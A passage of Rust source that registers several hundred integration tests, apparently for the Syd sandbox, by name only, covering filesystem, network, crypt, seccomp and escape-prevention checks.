test_entry!(test_syd_stat_sandbox_stat_allow),
test_entry!(test_syd_stat_sandbox_stat_hide),
test_entry!(test_syd_readdir_sandbox_getdents_allow),
test_entry!(test_syd_readdir_sandbox_getdents_hide),
test_entry!(test_syd_stat_bypass_with_read),
test_entry!(test_syd_stat_bypass_with_write),
test_entry!(test_syd_stat_bypass_with_exec),
test_entry!(test_syd_write_sandbox_open_allow),
test_entry!(test_syd_write_sandbox_open_deny),
test_entry!(test_syd_exec_sandbox_open_allow),
test_entry!(test_syd_exec_sandbox_open_deny),
test_entry!(test_syd_exec_sandbox_deny_binfmt_script),
test_entry!(test_syd_exec_sandbox_many_binfmt_script),
test_entry!(test_syd_exec_sandbox_mmap_exec_private_1),
test_entry!(test_syd_exec_sandbox_mmap_exec_private_2),
test_entry!(test_syd_exec_sandbox_mmap_shared_nonexec_1),
test_entry!(test_syd_exec_sandbox_mmap_shared_nonexec_2),
test_entry!(test_syd_exec_sandbox_prevent_library_injection_dlopen_bare),
test_entry!(test_syd_exec_sandbox_prevent_library_injection_dlopen_wrap),
test_entry!(test_syd_exec_sandbox_prevent_library_injection_LD_LIBRARY_PATH),
test_entry!(test_syd_exec_sandbox_prevent_library_injection_LD_PRELOAD_safe),
test_entry!(test_syd_exec_sandbox_prevent_library_injection_LD_PRELOAD_unsafe),
test_entry!(test_syd_network_sandbox_accept_ipv4),
test_entry!(test_syd_network_sandbox_accept_ipv6),
test_entry!(test_syd_network_sandbox_connect_ipv4_allow),
test_entry!(test_syd_network_sandbox_connect_ipv4_deny),
test_entry!(test_syd_network_sandbox_connect_ipv6_allow),
test_entry!(test_syd_network_sandbox_connect_ipv6_deny),
test_entry!(test_syd_network_sandbox_connect_ipv6_scope_id_1),
test_entry!(test_syd_network_sandbox_connect_ipv6_scope_id_2),
test_entry!(test_syd_network_sandbox_connect_ipv6_scope_id_3),
test_entry!(test_syd_network_sandbox_connect_ipv6_scope_id_4),
test_entry!(test_syd_network_sandbox_connect_ipv6_scope_id_5),
test_entry!(test_syd_network_sandbox_bind_ipv6_scope_id_1),
test_entry!(test_syd_network_sandbox_bind_ipv6_scope_id_2),
test_entry!(test_syd_network_sandbox_sendto_ipv6_scope_id_1),
test_entry!(test_syd_network_sandbox_sendto_ipv6_scope_id_2),
test_entry!(test_syd_network_sandbox_sendmsg_ipv6_scope_id_1),
test_entry!(test_syd_network_sandbox_sendmsg_ipv6_scope_id_2),
test_entry!(test_syd_network_sandbox_connect_ipv4mapped_anyaddr_deny),
test_entry!(test_syd_network_sandbox_allow_safe_bind_ipv4_failure),
test_entry!(test_syd_network_sandbox_allow_safe_bind_ipv4_success),
test_entry!(test_syd_network_sandbox_allow_safe_bind_ipv6_failure),
test_entry!(test_syd_network_sandbox_allow_safe_bind_ipv6_success),
test_entry!(test_syd_network_bind_anyaddr4),
test_entry!(test_syd_network_bind_anyaddr6),
test_entry!(test_syd_network_connect_anyaddr4),
test_entry!(test_syd_network_connect_anyaddr6),
test_entry!(test_syd_handle_toolong_unix_connect),
test_entry!(test_syd_handle_toolong_unix_sendto),
test_entry!(test_syd_handle_toolong_unix_sendmsg),
test_entry!(test_syd_sendmsg_scm_credentials_one_linux),
test_entry!(test_syd_sendmsg_scm_credentials_many_linux),
test_entry!(test_syd_sendmsg_scm_credentials_one_sydbox),
test_entry!(test_syd_sendmsg_scm_credentials_many_sydbox),
test_entry!(test_syd_sendmsg_scm_rights_one),
test_entry!(test_syd_sendmsg_scm_rights_many),
test_entry!(test_syd_sendmsg_scm_pidfd_one),
test_entry!(test_syd_sendmsg_scm_pidfd_many),
test_entry!(test_syd_send_scm_pidfd_one),
test_entry!(test_syd_send_scm_pidfd_many),
test_entry!(test_syd_sendfd_dir_default),
test_entry!(test_syd_sendfd_dir_unsafe),
test_entry!(test_syd_sendfd_symlink_default),
test_entry!(test_syd_sendfd_symlink_unsafe_1),
test_entry!(test_syd_sendfd_symlink_unsafe_2),
test_entry!(test_syd_sendfd_magiclink_default),
test_entry!(test_syd_sendfd_magiclink_unsafe_1),
test_entry!(test_syd_sendfd_magiclink_unsafe_2),
test_entry!(test_syd_sendfd_memfd_default),
test_entry!(test_syd_sendfd_memfd_unsafe),
test_entry!(test_syd_sendfd_secretmem_default),
test_entry!(test_syd_sendfd_secretmem_unsafe),
test_entry!(test_syd_sendfd_socket_default),
test_entry!(test_syd_sendfd_socket_unsafe),
test_entry!(test_syd_sendfd_fifo_default),
test_entry!(test_syd_sendfd_fifo_unsafe),
test_entry!(test_syd_sendfd_misc_default),
test_entry!(test_syd_sendfd_misc_unsafe),
test_entry!(test_syd_sendmmsg),
test_entry!(test_syd_sendto_sigpipe_unix_stream_1),
test_entry!(test_syd_sendto_sigpipe_unix_stream_2),
test_entry!(test_syd_sendto_sigpipe_unix_stream_3),
test_entry!(test_syd_sendto_sigpipe_unix_stream_4),
test_entry!(test_syd_sendto_sigpipe_unix_stream_5),
test_entry!(test_syd_sendto_sigpipe_unix_stream_6),
test_entry!(test_syd_sendmsg_sigpipe_unix_stream_1),
test_entry!(test_syd_sendmsg_sigpipe_unix_stream_2),
test_entry!(test_syd_sendmsg_sigpipe_unix_stream_3),
test_entry!(test_syd_sendmsg_sigpipe_unix_stream_4),
test_entry!(test_syd_sendmsg_sigpipe_unix_stream_5),
test_entry!(test_syd_sendmsg_sigpipe_unix_stream_6),
test_entry!(test_syd_sendmmsg_sigpipe_unix_stream_1),
test_entry!(test_syd_sendmmsg_sigpipe_unix_stream_2),
test_entry!(test_syd_sendmmsg_sigpipe_unix_stream_3),
test_entry!(test_syd_sendmmsg_sigpipe_unix_stream_4),
test_entry!(test_syd_sendmmsg_sigpipe_unix_stream_5),
test_entry!(test_syd_sendmmsg_sigpipe_unix_stream_6),
test_entry!(test_syd_appendonly_prevent_clobber),
test_entry!(test_syd_appendonly_prevent_unlink),
test_entry!(test_syd_appendonly_prevent_rename),
test_entry!(test_syd_appendonly_prevent_link),
test_entry!(test_syd_appendonly_prevent_truncate),
test_entry!(test_syd_appendonly_prevent_ftruncate),
test_entry!(test_syd_appendonly_prevent_fcntl),
test_entry!(test_syd_appendonly_filter_fcntl),
test_entry!(test_syd_appendonly_filter_fcntl_upper),
test_entry!(test_syd_appendonly_prevent_pwritev2_1),
test_entry!(test_syd_appendonly_prevent_pwritev2_2),
test_entry!(test_syd_appendonly_prevent_pwritev2_3),
test_entry!(test_syd_appendonly_prevent_pwritev2_4),
test_entry!(test_syd_appendonly_prevent_pwritev2_5),
test_entry!(test_syd_appendonly_prevent_pwritev2_6),
test_entry!(test_syd_appendonly_prevent_mmap_1),
test_entry!(test_syd_appendonly_prevent_mmap_2),
test_entry!(test_syd_appendonly_prevent_mmap_3),
test_entry!(test_syd_appendonly_prevent_mmap_4),
test_entry!(test_syd_appendonly_prevent_mmap_5),
test_entry!(test_syd_appendonly_prevent_mmap_6),
test_entry!(test_syd_appendonly_prevent_fallocate_1),
test_entry!(test_syd_appendonly_prevent_fallocate_2),
test_entry!(test_syd_appendonly_prevent_fallocate_3),
test_entry!(test_syd_appendonly_prevent_chmod),
test_entry!(test_syd_0_appendonly_prevent_chown),
test_entry!(test_syd_0_appendonly_prevent_chgrp),
test_entry!(test_syd_appendonly_prevent_utime),
test_entry!(test_syd_appendonly_prevent_setxattr),
test_entry!(test_syd_appendonly_prevent_removexattr),
test_entry!(test_syd_crypt_ofd_getlk),
test_entry!(test_syd_crypt_ofd_setlk),
test_entry!(test_syd_crypt_ofd_setlkw),
test_entry!(test_syd_crypt_prevent_append_change),
test_entry!(test_syd_crypt_reopen_append_race),
test_entry!(test_syd_crypt_concurrent_read_race),
test_entry!(test_syd_crypt_ftruncate_deny_1),
test_entry!(test_syd_crypt_ftruncate_deny_2),
test_entry!(test_syd_mask_simple),
test_entry!(test_syd_mask_target),
test_entry!(test_syd_mask_target_dir_override),
test_entry!(test_syd_mask_stat),
test_entry!(test_syd_mask_prevent_unlink),
test_entry!(test_syd_mask_prevent_rename),
test_entry!(test_syd_mask_prevent_link),
test_entry!(test_syd_mask_prevent_truncate),
test_entry!(test_syd_mask_prevent_ftruncate),
test_entry!(test_syd_mask_prevent_chmod),
test_entry!(test_syd_0_mask_prevent_chown),
test_entry!(test_syd_0_mask_prevent_chgrp),
test_entry!(test_syd_mask_prevent_utime),
test_entry!(test_syd_mask_prevent_setxattr),
test_entry!(test_syd_mask_prevent_removexattr),
test_entry!(test_syd_truncate),
test_entry!(test_syd_truncate64),
test_entry!(test_syd_ftruncate),
test_entry!(test_syd_ftruncate64),
test_entry!(test_syd_exp_ftruncate64_large),
test_entry!(test_syd_fallocate64),
test_entry!(test_syd_fallocate_mode_punch_hole),
test_entry!(test_syd_fallocate_mode_collapse_range),
test_entry!(test_syd_fallocate_mode_insert_range),
test_entry!(test_syd_fallocate_mode_einval),
test_entry!(test_syd_exp_fallocate64_large),
test_entry!(test_syd_kcapi_hash_block),
test_entry!(test_syd_kcapi_hash_stream),
test_entry!(test_syd_kcapi_cipher_block),
test_entry!(test_syd_kcapi_cmac_sef),
test_entry!(test_syd_crypt_bit_flip_header),
test_entry!(test_syd_crypt_bit_flip_auth_tag),
test_entry!(test_syd_crypt_bit_flip_iv),
test_entry!(test_syd_crypt_bit_flip_ciphertext),
test_entry!(test_syd_crypt_sandboxing_file_modes),
test_entry!(test_syd_crypt_sandboxing_bscan_append_cmp_mini_copy_seq),
test_entry!(test_syd_crypt_sandboxing_bscan_append_cmp_mini_copy_mul),
test_entry!(test_syd_crypt_sandboxing_bscan_append_aes_mini_copy_seq),
test_entry!(test_syd_crypt_sandboxing_bscan_append_aes_mini_copy_mul),
test_entry!(test_syd_crypt_sandboxing_bscan_append_cmp_incr_copy_seq),
test_entry!(test_syd_crypt_sandboxing_bscan_append_cmp_incr_copy_mul),
test_entry!(test_syd_crypt_sandboxing_bscan_append_aes_incr_copy_seq),
test_entry!(test_syd_crypt_sandboxing_bscan_append_aes_incr_copy_mul),
test_entry!(test_syd_crypt_sandboxing_bscan_append_cmp_decr_copy_seq),
test_entry!(test_syd_crypt_sandboxing_bscan_append_cmp_decr_copy_mul),
test_entry!(test_syd_crypt_sandboxing_bscan_append_aes_decr_copy_seq),
test_entry!(test_syd_crypt_sandboxing_bscan_append_aes_decr_copy_mul),
test_entry!(test_syd_crypt_sandboxing_bsize_single_cmp_tiny_copy),
test_entry!(test_syd_crypt_sandboxing_bsize_single_aes_tiny_copy),
test_entry!(test_syd_crypt_sandboxing_bsize_append_cmp_tiny_copy),
test_entry!(test_syd_crypt_sandboxing_bsize_append_aes_tiny_copy),
test_entry!(test_syd_crypt_sandboxing_prime_single_cmp_tiny_copy),
test_entry!(test_syd_crypt_sandboxing_prime_single_aes_tiny_copy),
test_entry!(test_syd_crypt_sandboxing_prime_append_cmp_tiny_copy),
test_entry!(test_syd_crypt_sandboxing_prime_append_aes_tiny_copy),
test_entry!(test_syd_crypt_sandboxing_sieve_append_cmp_nano_copy),
test_entry!(test_syd_crypt_sandboxing_sieve_append_aes_nano_copy),
test_entry!(test_syd_crypt_sandboxing_sieve_append_cmp_tiny_copy_seq),
test_entry!(test_syd_crypt_sandboxing_sieve_append_cmp_tiny_copy_mul),
test_entry!(test_syd_crypt_sandboxing_sieve_append_aes_tiny_copy_seq),
test_entry!(test_syd_crypt_sandboxing_sieve_append_aes_tiny_copy_mul),
test_entry!(test_syd_crypt_sandboxing_sieve_append_cmp_mild_copy_seq),
test_entry!(test_syd_crypt_sandboxing_sieve_append_cmp_mild_copy_mul),
test_entry!(test_syd_crypt_sandboxing_sieve_append_aes_mild_copy_seq),
test_entry!(test_syd_crypt_sandboxing_sieve_append_aes_mild_copy_mul),
test_entry!(test_syd_crypt_sandboxing_sieve_append_cmp_huge_copy_seq),
test_entry!(test_syd_crypt_sandboxing_sieve_append_cmp_huge_copy_mul),
test_entry!(test_syd_crypt_sandboxing_sieve_append_aes_huge_copy_seq),
test_entry!(test_syd_crypt_sandboxing_sieve_append_aes_huge_copy_mul),
test_entry!(test_syd_crypt_sandboxing_bsize_single_cmp_mild_copy),
test_entry!(test_syd_crypt_sandboxing_bsize_single_aes_mild_copy),
test_entry!(test_syd_crypt_sandboxing_bsize_append_cmp_mild_copy),
test_entry!(test_syd_crypt_sandboxing_bsize_append_aes_mild_copy),
test_entry!(test_syd_crypt_sandboxing_prime_single_cmp_mild_copy),
test_entry!(test_syd_crypt_sandboxing_prime_single_aes_mild_copy),
test_entry!(test_syd_crypt_sandboxing_prime_append_cmp_mild_copy),
test_entry!(test_syd_crypt_sandboxing_prime_append_aes_mild_copy),
test_entry!(test_syd_crypt_sandboxing_bsize_single_cmp_huge_copy),
test_entry!(test_syd_crypt_sandboxing_bsize_single_aes_huge_copy),
test_entry!(test_syd_crypt_sandboxing_bsize_append_cmp_huge_copy_seq),
test_entry!(test_syd_crypt_sandboxing_bsize_append_cmp_huge_copy_mul),
test_entry!(test_syd_crypt_sandboxing_bsize_append_aes_huge_copy_seq),
test_entry!(test_syd_crypt_sandboxing_bsize_append_aes_huge_copy_mul),
test_entry!(test_syd_crypt_sandboxing_prime_single_cmp_huge_copy),
test_entry!(test_syd_crypt_sandboxing_prime_single_aes_huge_copy),
test_entry!(test_syd_crypt_sandboxing_prime_append_cmp_huge_copy_seq),
test_entry!(test_syd_crypt_sandboxing_prime_append_cmp_huge_copy_mul),
test_entry!(test_syd_crypt_sandboxing_prime_append_aes_huge_copy_seq),
test_entry!(test_syd_crypt_sandboxing_prime_append_aes_huge_copy_mul),
test_entry!(test_syd_crypt_sandboxing_single_cmp_rand_copy),
test_entry!(test_syd_crypt_sandboxing_single_aes_rand_copy),
test_entry!(test_syd_crypt_sandboxing_append_cmp_rand_copy_seq),
test_entry!(test_syd_crypt_sandboxing_append_cmp_rand_copy_mul),
test_entry!(test_syd_crypt_sandboxing_append_aes_rand_copy_seq),
test_entry!(test_syd_crypt_sandboxing_append_aes_rand_copy_mul),
test_entry!(test_syd_crypt_sandboxing_append_cmp_fuzz_copy_seq),
test_entry!(test_syd_crypt_sandboxing_append_cmp_fuzz_copy_mul),
test_entry!(test_syd_crypt_sandboxing_append_aes_fuzz_copy_seq),
test_entry!(test_syd_crypt_sandboxing_append_aes_fuzz_copy_mul),
test_entry!(test_syd_crypt_sandboxing_append_cmp_zero_copy_seq),
test_entry!(test_syd_crypt_sandboxing_append_cmp_zero_copy_mul),
test_entry!(test_syd_crypt_sandboxing_append_aes_zero_copy_seq),
test_entry!(test_syd_crypt_sandboxing_append_aes_zero_copy_mul),
test_entry!(test_syd_crypt_sandboxing_single_cmp_null_copy),
test_entry!(test_syd_crypt_sandboxing_single_aes_null_copy),
test_entry!(test_syd_restart_on_panic_read),
test_entry!(test_syd_restart_on_panic_exec),
test_entry!(test_syd_restart_on_panic_chdir),
test_entry!(test_syd_exit_wait_default),
test_entry!(test_syd_exit_wait_default_unsafe_ptrace),
test_entry!(test_syd_exit_wait_pid),
test_entry!(test_syd_exit_wait_pid_unsafe_ptrace),
test_entry!(test_syd_exit_wait_pid_with_runaway_cmd_exec_process),
test_entry!(test_syd_exit_wait_pid_unsafe_ptrace_with_runaway_cmd_exec_process),
test_entry!(test_syd_exit_wait_all),
test_entry!(test_syd_exit_wait_all_unsafe_ptrace),
test_entry!(test_syd_exit_wait_all_with_runaway_cmd_exec_process),
test_entry!(test_syd_exit_wait_all_unsafe_ptrace_with_runaway_cmd_exec_process),
test_entry!(test_syd_cli_args_override_user_profile),
test_entry!(test_syd_ifconfig_loopback_bare),
test_entry!(test_syd_ifconfig_loopback_wrap),
test_entry!(test_syd_parse_elf_native),
test_entry!(test_syd_parse_elf_32bit),
test_entry!(test_syd_parse_elf_path),
test_entry!(test_syd_deny_exec_elf32),
test_entry!(test_syd_deny_exec_elf_dynamic),
test_entry!(test_syd_deny_exec_elf_static),
test_entry!(test_syd_deny_exec_script),
test_entry!(test_syd_restrict_exec_script_default),
test_entry!(test_syd_restrict_exec_script_unsafe),
test_entry!(test_syd_restrict_exec_interactive_default),
test_entry!(test_syd_restrict_exec_interactive_unsafe),
test_entry!(test_syd_0_securebits_noroot),
test_entry!(test_syd_0_securebits_no_setuid_fixup),
test_entry!(test_syd_0_securebits_keep_caps),
test_entry!(test_syd_0_securebits_no_cap_ambient_raise),
test_entry!(test_syd_userns_securebits_noroot),
test_entry!(test_syd_userns_securebits_no_setuid_fixup),
test_entry!(test_syd_userns_securebits_keep_caps),
test_entry!(test_syd_userns_securebits_no_cap_ambient_raise),
test_entry!(test_syd_prevent_ld_linux_exec_break_default),
test_entry!(test_syd_prevent_ld_linux_exec_break_unsafe_exec_ldso),
test_entry!(test_syd_prevent_ld_linux_exec_break_unsafe_ptrace),
test_entry!(test_syd_enforce_pie_dynamic),
test_entry!(test_syd_enforce_pie_static),
test_entry!(test_syd_enforce_execstack_dynamic),
test_entry!(test_syd_enforce_execstack_static),
test_entry!(test_syd_enforce_execstack_nested_routine),
test_entry!(test_syd_enforce_execstack_self_modifying),
test_entry!(test_syd_enforce_mprotect_self_modifying),
test_entry!(test_syd_enforce_execstack_on_mmap_noexec_rtld_now),
test_entry!(test_syd_enforce_execstack_on_mmap_noexec_rtld_lazy),
test_entry!(test_syd_enforce_execstack_on_mmap_exec_rtld_now),
test_entry!(test_syd_enforce_execstack_on_mmap_exec_rtld_lazy),
test_entry!(test_syd_enforce_execstack_on_mmap_exec_rtld_now_unsafe),
test_entry!(test_syd_enforce_execstack_on_mmap_exec_rtld_lazy_unsafe),
test_entry!(test_syd_enforce_execstack_multiple_gnu_stack_1),
test_entry!(test_syd_enforce_execstack_multiple_gnu_stack_2),
test_entry!(test_syd_force_sandbox),
test_entry!(test_syd_segvguard_core_safe_default),
test_entry!(test_syd_segvguard_core_safe_kill),
test_entry!(test_syd_segvguard_core_unsafe_default),
test_entry!(test_syd_segvguard_core_unsafe_kill),
test_entry!(test_syd_segvguard_suspension_safe),
test_entry!(test_syd_segvguard_suspension_unsafe),
test_entry!(test_syd_prevent_path_unhide_by_passthru),
test_entry!(test_syd_symlink_chain),
test_entry!(test_syd_magiclink_sandbox),
test_entry!(test_syd_magiclink_linux),
test_entry!(test_syd_magiclink_toctou),
test_entry!(test_syd_symlink_toctou),
test_entry!(test_syd_symlinkat_toctou),
test_entry!(test_syd_symlink_exchange_toctou_mid),
test_entry!(test_syd_symlink_exchange_toctou_root),
test_entry!(test_syd_symlink_exchange_toctou_last),
test_entry!(test_syd_ptrmod_toctou_chdir_1),
test_entry!(test_syd_ptrmod_toctou_chdir_2),
test_entry!(test_syd_ptrmod_toctou_exec_fail),
test_entry!(test_syd_ptrmod_toctou_exec_binary_success_quick),
test_entry!(test_syd_ptrmod_toctou_exec_binary_success_double_fork),
test_entry!(test_syd_ptrmod_toctou_exec_binary_success_quick_no_mitigation),
test_entry!(test_syd_ptrmod_toctou_exec_binary_success_double_fork_no_mitigation),
test_entry!(test_syd_ptrmod_toctou_exec_script_success_quick),
test_entry!(test_syd_ptrmod_toctou_exec_script_success_double_fork),
test_entry!(test_syd_ptrmod_toctou_exec_script_success_quick_no_mitigation),
test_entry!(test_syd_ptrmod_toctou_exec_script_success_double_fork_no_mitigation),
test_entry!(test_syd_ptrmod_toctou_open),
test_entry!(test_syd_ptrmod_toctou_creat),
test_entry!(test_syd_ptrmod_toctou_opath_default),
test_entry!(test_syd_ptrmod_toctou_opath_unsafe),
test_entry!(test_syd_vfsmod_toctou_mmap),
test_entry!(test_syd_vfsmod_toctou_fchdir),
test_entry!(test_syd_vfsmod_toctou_cwd_rename),
test_entry!(test_syd_exp_vfsmod_toctou_open_file_off),
test_entry!(test_syd_exp_vfsmod_toctou_open_file_deny),
test_entry!(test_syd_exp_vfsmod_toctou_open_path_off),
test_entry!(test_syd_exp_vfsmod_toctou_open_path_deny),
test_entry!(test_syd_exp_vfsmod_toctou_connect_unix),
test_entry!(test_syd_seccomp_set_mode_strict_old),
test_entry!(test_syd_seccomp_set_mode_strict_new),
test_entry!(test_syd_seccomp_ret_trap_escape_strict),
test_entry!(test_syd_seccomp_ret_trap_escape_unsafe),
test_entry!(test_syd_seccomp_ioctl_notify_id_valid),
test_entry!(test_syd_seccomp_ioctl_notify_set_flags),
test_entry!(test_syd_seccomp_ioctl_notify_addfd),
test_entry!(test_syd_seccomp_ioctl_notify_send),
test_entry!(test_syd_seccomp_ioctl_notify_recv),
test_entry!(test_syd_io_uring_escape_strict),
test_entry!(test_syd_io_uring_escape_unsafe),
test_entry!(test_syd_opath_escape),
test_entry!(test_syd_devfd_escape_chdir),
test_entry!(test_syd_devfd_escape_chdir_relpath_1),
test_entry!(test_syd_devfd_escape_chdir_relpath_2),
test_entry!(test_syd_devfd_escape_chdir_relpath_3),
test_entry!(test_syd_devfd_escape_chdir_relpath_4),
test_entry!(test_syd_devfd_escape_chdir_relpath_5),
test_entry!(test_syd_devfd_escape_chdir_relpath_6),
test_entry!(test_syd_devfd_escape_chdir_relpath_7),
test_entry!(test_syd_devfd_escape_chdir_relpath_8),
test_entry!(test_syd_devfd_escape_chdir_relpath_9),
test_entry!(test_syd_devfd_escape_chdir_relpath_10),
test_entry!(test_syd_devfd_escape_chdir_relpath_11),
test_entry!(test_syd_devfd_escape_chdir_relpath_12),
test_entry!(test_syd_devfd_escape_chdir_relpath_13),
test_entry!(test_syd_devfd_escape_chdir_relpath_14),
test_entry!(test_syd_devfd_escape_chdir_relpath_15),
test_entry!(test_syd_devfd_escape_chdir_relpath_16),
test_entry!(test_syd_devfd_escape_chdir_relpath_17),
test_entry!(test_syd_devfd_escape_chdir_relpath_18),
test_entry!(test_syd_devfd_escape_chdir_relpath_19),
test_entry!(test_syd_devfd_escape_chdir_relpath_20),
test_entry!(test_syd_devfd_escape_open),
test_entry!(test_syd_devfd_escape_open_relpath_1),
test_entry!(test_syd_devfd_escape_open_relpath_2),
test_entry!(test_syd_devfd_escape_open_relpath_3),
test_entry!(test_syd_devfd_escape_open_relpath_4),
test_entry!(test_syd_devfd_escape_open_relpath_5),
test_entry!(test_syd_devfd_escape_open_relpath_6),
test_entry!(test_syd_devfd_escape_open_relpath_7),
test_entry!(test_syd_devfd_escape_open_relpath_8),
test_entry!(test_syd_devfd_escape_open_relpath_9),
test_entry!(test_syd_devfd_escape_open_relpath_10),
test_entry!(test_syd_devfd_escape_open_relpath_11),
test_entry!(test_syd_devfd_escape_open_relpath_12),
test_entry!(test_syd_devfd_escape_open_relpath_13),
test_entry!(test_syd_devfd_escape_open_relpath_14),
test_entry!(test_syd_devfd_escape_open_relpath_15),
test_entry!(test_syd_devfd_escape_open_relpath_16),
test_entry!(test_syd_devfd_escape_open_relpath_17),
test_entry!(test_syd_devfd_escape_open_relpath_18),
test_entry!(test_syd_devfd_escape_open_relpath_19),
test_entry!(test_syd_devfd_escape_open_relpath_20),
test_entry!(test_syd_procself_escape_chdir),
test_entry!(test_syd_procself_escape_chdir_relpath_1),
test_entry!(test_syd_procself_escape_chdir_relpath_2),
test_entry!(test_syd_procself_escape_chdir_relpath_3),
test_entry!(test_syd_procself_escape_chdir_relpath_4),
test_entry!(test_syd_procself_escape_chdir_relpath_5),
test_entry!(test_syd_procself_escape_chdir_relpath_6),
test_entry!(test_syd_procself_escape_chdir_relpath_7),
test_entry!(test_syd_procself_escape_open),
test_entry!(test_syd_procself_escape_open_relpath_1),
test_entry!(test_syd_procself_escape_open_relpath_2),
test_entry!(test_syd_procself_escape_open_relpath_3),
test_entry!(test_syd_procself_escape_open_relpath_4),
test_entry!(test_syd_procself_escape_open_relpath_5),
test_entry!(test_syd_procself_escape_open_relpath_6),
test_entry!(test_syd_procself_escape_open_relpath_7),
test_entry!(test_syd_procself_escape_relpath),
test_entry!(test_syd_procself_escape_symlink),
test_entry!(test_syd_procself_escape_symlink_within_container),
test_entry!(test_syd_rmdir_escape_file),
test_entry!(test_syd_rmdir_escape_dir),
test_entry!(test_syd_rmdir_escape_fifo),
test_entry!(test_syd_rmdir_escape_unix),
test_entry!(test_syd_umask_bypass_077),
test_entry!(test_syd_umask_bypass_277),
test_entry!(test_syd_emulate_opath),
test_entry!(test_syd_emulate_otmpfile),
test_entry!(test_syd_honor_umask_000),
test_entry!(test_syd_honor_umask_022),
test_entry!(test_syd_honor_umask_077),
test_entry!(test_syd_force_umask_bypass_with_open),
test_entry!(test_syd_force_umask_bypass_with_mknod),
test_entry!(test_syd_force_umask_bypass_with_mkdir),
test_entry!(test_syd_force_umask_bypass_with_fchmod),
test_entry!(test_syd_force_cloexec),
test_entry!(test_syd_force_rand_fd),
test_entry!(test_syd_force_ro_open),
test_entry!(test_syd_open_suid),
test_entry!(test_syd_force_no_xdev),
test_entry!(test_syd_open_utf8_invalid_default),
test_entry!(test_syd_open_utf8_invalid_unsafe),
test_entry!(test_syd_exec_in_inaccessible_directory),
test_entry!(test_syd_fstat_on_pipe),
test_entry!(test_syd_fstat_on_socket),
test_entry!(test_syd_fstat_on_deleted_file),
test_entry!(test_syd_fstat_on_tmpfile),
test_entry!(test_syd_fchmodat_on_proc_fd),
test_entry!(test_syd_fchmodat2_empty_path),
test_entry!(test_syd_linkat_on_fd),
test_entry!(test_syd_block_ioctl_tiocsti_default),
test_entry!(test_syd_block_ioctl_tiocsti_dynamic),
test_entry!(test_syd_block_ioctl_tiocsti_sremadd),
test_entry!(test_syd_block_ioctl_tiocsti_sremove),
test_entry!(test_syd_block_ioctl_tiocsti_dremove),
test_entry!(test_syd_block_ioctl_tiocsti_upper),
test_entry!(test_syd_ioctl_allow_upper),
test_entry!(test_syd_ioctl_dynamic_allow_deny_precedence),
test_entry!(test_syd_ioctl_remove_deny_blacklist),
test_entry!(test_syd_prevent_ptrace_detect_1),
test_entry!(test_syd_prevent_ptrace_detect_2),
test_entry!(test_syd_prevent_ptrace_detect_3),
test_entry!(test_syd_prevent_ptrace_detect_4),
test_entry!(test_syd_kill_during_syscall),
test_entry!(test_syd_open_toolong_path),
test_entry!(test_syd_open_null_path),
test_entry!(test_syd_open_directory_creat),
test_entry!(test_syd_openat2_path_linux),
test_entry!(test_syd_openat2_path_unsafe),
test_entry!(test_syd_openat2_path_sydbox),
test_entry!(test_syd_utimensat_null),
test_entry!(test_syd_utimensat_symlink),
test_entry!(test_syd_utimes_mtime),
test_entry!(test_syd_normalize_path),
test_entry!(test_syd_path_resolution),
test_entry!(test_syd_remove_empty_path),
test_entry!(test_syd_symlink_readonly_path),
test_entry!(test_syd_open_trailing_slash),
test_entry!(test_syd_openat_trailing_slash),
test_entry!(test_syd_lstat_trailing_slash),
test_entry!(test_syd_fstatat_trailing_slash),
test_entry!(test_syd_mkdir_symlinks),
test_entry!(test_syd_mkdir_trailing_dot),
test_entry!(test_syd_mkdirat_trailing_dot),
test_entry!(test_syd_mkdir_symlink_trailing_dot),
test_entry!(test_syd_rmdir_trailing_slashdot),
test_entry!(test_syd_rmdir_trailing_slash_with_symlink),
test_entry!(test_syd_rename_trailing_slash),
test_entry!(test_syd_rename_overwrite_deny_delete),
test_entry!(test_syd_rename_exchange_deny_dest),
test_entry!(test_syd_mkdir_eexist_escape),
test_entry!(test_syd_mkdirat_eexist_escape),
test_entry!(test_syd_mknod_eexist_escape),
test_entry!(test_syd_mknodat_eexist_escape),
test_entry!(test_syd_fopen_supports_mode_e),
test_entry!(test_syd_fopen_supports_mode_x),
test_entry!(test_syd_link_no_symlink_deref),
test_entry!(test_syd_link_posix),
test_entry!(test_syd_linkat_posix),
test_entry!(test_syd_cp_overwrite),
test_entry!(test_syd_getcwd_long_default),
test_entry!(test_syd_getcwd_long_paludis),
test_entry!(test_syd_pwd_long_default),
test_entry!(test_syd_pwd_long_paludis),
test_entry!(test_syd_creat_thru_dangling_default),
test_entry!(test_syd_creat_thru_dangling_unsafe),
test_entry!(test_syd_creat_excl_thru_dangling),
test_entry!(test_syd_creat_invalid_mode_linux),
test_entry!(test_syd_creat_invalid_mode_syd),
test_entry!(test_syd_open_invalid_mode_linux),
test_entry!(test_syd_open_invalid_mode_syd),
test_entry!(test_syd_openat_invalid_mode_linux),
test_entry!(test_syd_openat_invalid_mode_syd),
test_entry!(test_syd_openat2_invalid_mode_linux),
test_entry!(test_syd_openat2_invalid_mode_syd),
test_entry!(test_syd_openat_invalid_tmpfile_linux),
test_entry!(test_syd_openat_invalid_tmpfile_syd),
test_entry!(test_syd_socket_invalid_type_linux),
test_entry!(test_syd_socket_invalid_type_syd),
test_entry!(test_syd_socketpair_invalid_type_linux),
test_entry!(test_syd_socketpair_invalid_type_syd),
test_entry!(test_syd_sendto_invalid_flag_linux),
test_entry!(test_syd_sendto_invalid_flag_syd),
test_entry!(test_syd_sendmsg_invalid_flag_linux),
test_entry!(test_syd_sendmsg_invalid_flag_syd),
test_entry!(test_syd_recvfrom_invalid_flag_linux),
test_entry!(test_syd_recvfrom_invalid_flag_syd),
test_entry!(test_syd_recvmsg_invalid_flag_linux),
test_entry!(test_syd_recvmsg_invalid_flag_syd),
test_entry!(test_syd_sendmmsg_invalid_flag_linux),
test_entry!(test_syd_sendmmsg_invalid_flag_syd),
test_entry!(test_syd_recvmmsg_invalid_flag_linux),
test_entry!(test_syd_recvmmsg_invalid_flag_syd),
test_entry!(test_syd_mkdirat_non_dir_fd),
test_entry!(test_syd_blocking_udp4),
test_entry!(test_syd_blocking_udp6),
test_entry!(test_syd_recvfrom_unix_dgram_addr),
test_entry!(test_syd_recvfrom_unix_dgram_connected),
test_entry!(test_syd_recvfrom_unix_dgram_ambiguous),
test_entry!(test_syd_recvmsg_unix_dgram_addr),
test_entry!(test_syd_recvmsg_unix_dgram_connected),
test_entry!(test_syd_recvmsg_unix_dgram_ambiguous),
test_entry!(test_syd_recvmmsg_unix_dgram_addr),
